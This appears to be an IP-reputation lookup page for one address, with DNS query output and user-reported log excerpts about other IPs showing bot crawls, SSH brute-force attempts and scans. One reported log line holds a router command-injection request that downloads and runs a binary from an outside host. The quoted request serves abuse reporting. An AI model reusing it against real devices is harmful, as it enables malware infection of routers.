Must be a valid IPv4 or IPv6 ip address, e.g. 127.0.0.1 or 2001:DB8:0:0:8:800:200C:417A
Basic Info

City: unknown

Region: unknown

Country: United States

Internet Service Provider: unknown

Hostname: unknown

Organization: unknown

Usage Type: unknown

Comments:
No discussion about this IP yet. Click above link to make one.
Comments on same subnet:
No discussion about this subnet yet..
Whois info:
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Dig info:
; <<>> DiG 9.10.3-P4-Ubuntu <<>> 104.21.38.51
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NXDOMAIN, id: 46193
;; flags: qr rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 0

;; QUESTION SECTION:
;104.21.38.51.			IN	A

;; AUTHORITY SECTION:
.			453	IN	SOA	a.root-servers.net. nstld.verisign-grs.com. 2022021700 1800 900 604800 86400

;; Query time: 18 msec
;; SERVER: 183.60.83.19#53(183.60.83.19)
;; WHEN: Fri Feb 18 02:27:16 CST 2022
;; MSG SIZE  rcvd: 105
Host info
Host 51.38.21.104.in-addr.arpa. not found: 3(NXDOMAIN)
Nslookup info:
Server:		183.60.83.19
Address:	183.60.83.19#53

** server can't find 51.38.21.104.in-addr.arpa: NXDOMAIN
Related IP info:
Related comments:
IP Type Details Datetime
88.249.222.200 normal
mail adresini ogreneceğim
2019-06-01 12:13:47
205.185.114.87 attack
Invalid user admin from 205.185.114.87 port 46312
2019-06-12 10:46:37
184.164.157.73 bots
184.164.157.73 - - [21/May/2019:18:18:59 +0800] "GET /does_not_exist_89057 HTTP/2.0" 404 277 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 UBrowser/7.0.185.1002 Safari/537.36"
2019-05-21 18:21:29
112.215.151.15 spambotsattackproxynormal
plis yang benar
2019-06-05 05:10:39
94.23.145.174 botsattack
94.23.145.174 - - [15/May/2019:22:07:23 +0800] "GET /bitrix/admin/index.php?lang=en HTTP/1.1" 301 194 "-" "Mozilla/5.0 (Linux; U; Android 2.2) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1"
94.23.145.174 - - [15/May/2019:22:07:35 +0800] "GET /admin/ HTTP/1.1" 301 194 "-" "Mozilla/5.0 (Linux; U; Android 2.2) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1"
94.23.145.174 - - [15/May/2019:22:07:37 +0800] "GET /user/ HTTP/1.1" 301 194 "-" "Mozilla/5.0 (Linux; U; Android 2.2) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1"
2019-05-15 22:08:53
23.237.122.122 bots
23.237.122.122 - - [17/May/2019:17:37:28 +0800] "GET /check-ip/47.253.193.179 HTTP/1.1" 200 9984 "-" "Mozilla/5.0 (X11; U; Linux i686; fi-FI; rv:1.9.2.8) Gecko/20100723 Ubuntu/10.04 (lucid) Firefox/3.6.8"
23.237.122.122 - - [17/May/2019:17:37:28 +0800] "GET /check-ip/69.161.117.253 HTTP/1.1" 200 10479 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:2.2a1pre) Gecko/20100101 Firefox/4.2a1pre"
23.237.122.122 - - [17/May/2019:17:37:29 +0800] "GET /check-ip/15.174.189.211 HTTP/1.1" 200 9934 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:2.0b8pre) Gecko/20101128 Firefox/4.0b8pre"
23.237.122.122 - - [17/May/2019:17:37:29 +0800] "GET /check-ip/8.161.48.175 HTTP/1.1" 200 11252 "-" "Mozilla/5.0 (Windows NT 6.2; Win64; x64; rv:16.0.1) Gecko/20121011 Firefox/21.0.1"
2019-05-17 17:38:11
196.247.213.149 botsattack
196.247.213.149 - - [20/May/2019:21:04:16 +0800] "GET /check-ip/index.php?option=com_user&task=register HTTP/1.1" 200 9682 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.103 Safari/537.36"
196.247.213.149 - - [20/May/2019:21:04:20 +0800] "GET /check-ip/modules.php?name=Your_Account HTTP/1.1" 200 9686 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.103 Safari/537.36"
196.247.213.149 - - [20/May/2019:21:04:22 +0800] "GET /check-ip/member/ HTTP/1.1" 200 9676 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.103 Safari/537.36"
196.247.213.149 - - [20/May/2019:21:04:24 +0800] "GET /check-ip/index.php?act=dispMemberLoginForm HTTP/1.1" 200 9682 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.103 Safari/537.36"
196.247.213.149 - - [20/May/2019:21:04:28 +0800] "GET /check-ip/yabb.pl HTTP/1.1" 200 9678 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.103 Safari/537.36"
196.247.213.149 - - [20/May/2019:21:04:29 +0800] "GET /check-ip/YaBB.cgi HTTP/1.1" 200 9680 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.103 Safari/537.36"
196.247.213.149 - - [20/May/2019:21:04:33 +0800] "GET /check-ip/bbs.cgi HTTP/1.1" 200 9678 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.103 Safari/537.36"
196.247.213.149 - - [20/May/2019:21:04:37 +0800] "GET /check-ip/light.cgi HTTP/1.1" 200 9682 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.103 Safari/537.36"
196.247.213.149 - - [20/May/2019:21:04:39 +0800] "GET /check-ip/CGI/guestbook?page=1 HTTP/1.1" 404 232 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.103 Safari/537.36"
2019-05-20 21:13:19
190.30.242.57 attack
May 23 08:20:03 mail sshd\\[16706\\]: pam_unix\\(sshd:auth\\): authentication failure\\; logname= uid=0 euid=0 tty=ssh ruser= rhost=190.30.242.57 user=root
May 23 08:20:05 mail sshd\\[16706\\]: Failed password for root from 190.30.242.57 port 47714 ssh2
May 23 08:20:12 mail sshd\\[16706\\]: Failed password for root from 190.30.242.57 port 47714 ssh2
2019-05-25 07:32:28
159.203.173.152 attack
159.203.173.152 - - [03/Jun/2019:10:41:35 +0800] "GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=wget%20http://104.168.204.214/akbins/mips.akira.ak%20-O%20/var/tmp/mips.akira.ak;%20chmod%20777%20/var/tmp/mips.akira.ak;%20/var/tmp/mips.akira.ak;%20rm%20-rf%20/var/tmp/mips.akira.ak&curpath=/¤tsetting.htm=1" 400 0 "-" "-"
2019-06-03 10:42:31
46.248.189.244 bots
46.248.189.244 - - [22/May/2019:18:13:37 +0800] "GET /check-ip/102.165.36.235 HTTP/1.1" 200 10125 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:54.0) Gecko/20100101 Firefox/54.0"
2019-05-22 18:15:23
185.175.208.208 botsattack
185.175.208.208 - - [30/May/2019:14:40:50 +0800] "GET /language/en-GB/en-GB.xml HTTP/2.0" 404 299 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0"
185.175.208.208 - - [30/May/2019:14:40:51 +0800] "GET /misc/drupal.js HTTP/2.0" 404 299 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0"
185.175.208.208 - - [30/May/2019:14:40:51 +0800] "GET /core/CHANGELOG.txt HTTP/2.0" 404 299 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0"
185.175.208.208 - - [30/May/2019:14:40:51 +0800] "GET /CHANGELOG.txt HTTP/2.0" 404 299 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0"
185.175.208.208 - - [30/May/2019:14:40:51 +0800] "GET /core/misc/drupal.js HTTP/2.0" 404 299 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0"
2019-05-30 14:47:48
52.90.140.202 bots
52.90.140.202 - - [20/May/2019:13:04:24 +0800] "GET /check-ip/92.119.160.80 HTTP/1.1" 200 89336 "-" "Clickagy Intelligence Bot v2"
2019-05-20 13:05:16
209.0.146.74 bots
整个网段断断续续的流量
209.0.146.74 - - [21/May/2019:13:51:00 +0800] "GET /check-ip/199.67.217.85 HTTP/1.1" 200 9614 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.94 Safari/537.36"
2019-05-21 14:03:05
46.248.166.77 bots
46.248.166.77 - - [03/Jun/2019:08:12:33 +0800] "GET /check-ip/81.171.24.130 HTTP/1.1" 200 10579 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.94 Safari/537.36"
46.248.166.77 - - [03/Jun/2019:08:12:34 +0800] "GET /check-ip/82.192.71.73 HTTP/1.1" 200 9321 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.94 Safari/537.36"
2019-06-03 08:14:07
193.27.242.2 attack
[portscan] Port scan
2019-05-25 07:29:47

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